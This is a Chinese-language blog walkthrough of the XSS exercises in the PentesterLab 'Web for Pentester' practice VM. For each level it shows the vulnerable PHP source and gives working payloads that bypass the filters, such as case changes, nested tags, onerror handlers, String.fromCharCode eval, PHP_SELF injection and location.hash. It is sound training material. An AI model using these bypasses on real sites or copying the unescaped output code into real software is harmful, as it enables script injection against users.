官网:https://pentesterlab.com/
下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:


然后直接访问ip即可
web for pentester默认没有root密码,可以来设置密码,方便ssh连接等查看源码

  1. sudo passwd
  1. <?php
  2. echo $_GET["name"];
  3. ?>

没有任何的过滤,直接将get获取的打印

/xss/example1.php?name=

  1. <?php
  2. $name = $_GET["name"];
  3. $name = preg_replace("/<script>/","", $name);
  4. $name = preg_replace("/<\/script>/","", $name);
  5. echo $name;
  6. ?>

这里通过preg_replace()函数来正则,但是这种匹配是有缺陷的,没有匹配大小写,可以通过大小写绕过

  1. /xss/example2.php?name=<Script>alert('xss')</Script>

  1. <?php
  2. $name = $_GET["name"];
  3. $name = preg_replace("/<script>/i","", $name);
  4. $name = preg_replace("/<\/script>/i","", $name);
  5. echo $name;
  6. ?>

在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,但是只匹配了一次,类似sql注入(Seselectlect),可以嵌套<script>,匹配到了,替换成空格变成我们想要的了

  1. /xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>

  1. <?php require_once '../header.php';
  2. if (preg_match('/script/i', $_GET["name"])) {
  3. die("error");
  4. }
  5. ?>
  6. Hello <?php echo $_GET["name"]; ?>

对script进行了不区分大小写,匹配如果匹配到,就执行die(“error”),终止程序,所以scirpt不能用,只能通过其他标签来触发js事件,可使用onerror事件,来执行js

  1. /xss/example4.php?name=<img src="xss" onerror=alert('xss')>

  1. <?php require_once '../header.php';
  2. if (preg_match('/alert/i', $_GET["name"])) {
  3. die("error");
  4. }
  5. ?>
  6. Hello <?php echo $_GET["name"]; ?>

对alert进行了过滤





  1. /xss/example5.php?name=<script>confirm('xss')</script>
  2. /xss/example5.php?name=<script>prompt('xss')</script>
  3. /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>



  1. <script>
  2. var $a= "<?php echo $_GET["name"]; ?>";
  3. </script>

通过get的方式传入name变量,输入赋值给全局变量a,可以通过闭合双引号或者注释双引号来增加我们的js代码

  1. /xss/example6.php?name=";alert('xss');"
  2. /xss/example6.php?name=";alert('xss');//




  1. <script>
  2. var $a= '<?php echo htmlentities($_GET["name"]); ?>';
  3. </script>

和第八关相似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好所以可以继续包含和注释

  1. /xss/example7.php?name=';alert('xss');'
  2. /xss/example7.php?name=';alert('xss');//




  1. <?php
  2. require_once '../header.php';
  3. if (isset($_POST["name"])) {
  4. echo "HELLO ".htmlentities($_POST["name"]);
  5. }
  6. ?>
  7. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  8. Your name:<input type="text" name="name" />
  9. <input type="submit" name="submit"/>

name变量通过form表单以post方式传入,然后通过htmlentities函数实体化后输出来,并未找到破解的方法。然后观察

,用户可控制参数PHP_SELF,并且没有闭合引号和标签

  1. /xss/example8.php/"><script>alert('XSS')</script>//
  2. /xss/example8.php/" onclick=alert('XSS')//



  1. <script>
  2. document.write(location.hash.substring(1));
  3. </script>

location.hash属性

  1. /xss/example9.php#<script>alert('XSS')</script>

注意:在火狐和Chrome浏览器<>会被自动转码

https://www.sqlsec.com/2020/05/pentesterlab.html
https://blog.csdn.net/qq_20307987/article/details/51284169
欢迎访问我的个人博客:https://lmg66.github.io/

版权声明:本文为Lmg66原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Lmg66/p/13307275.html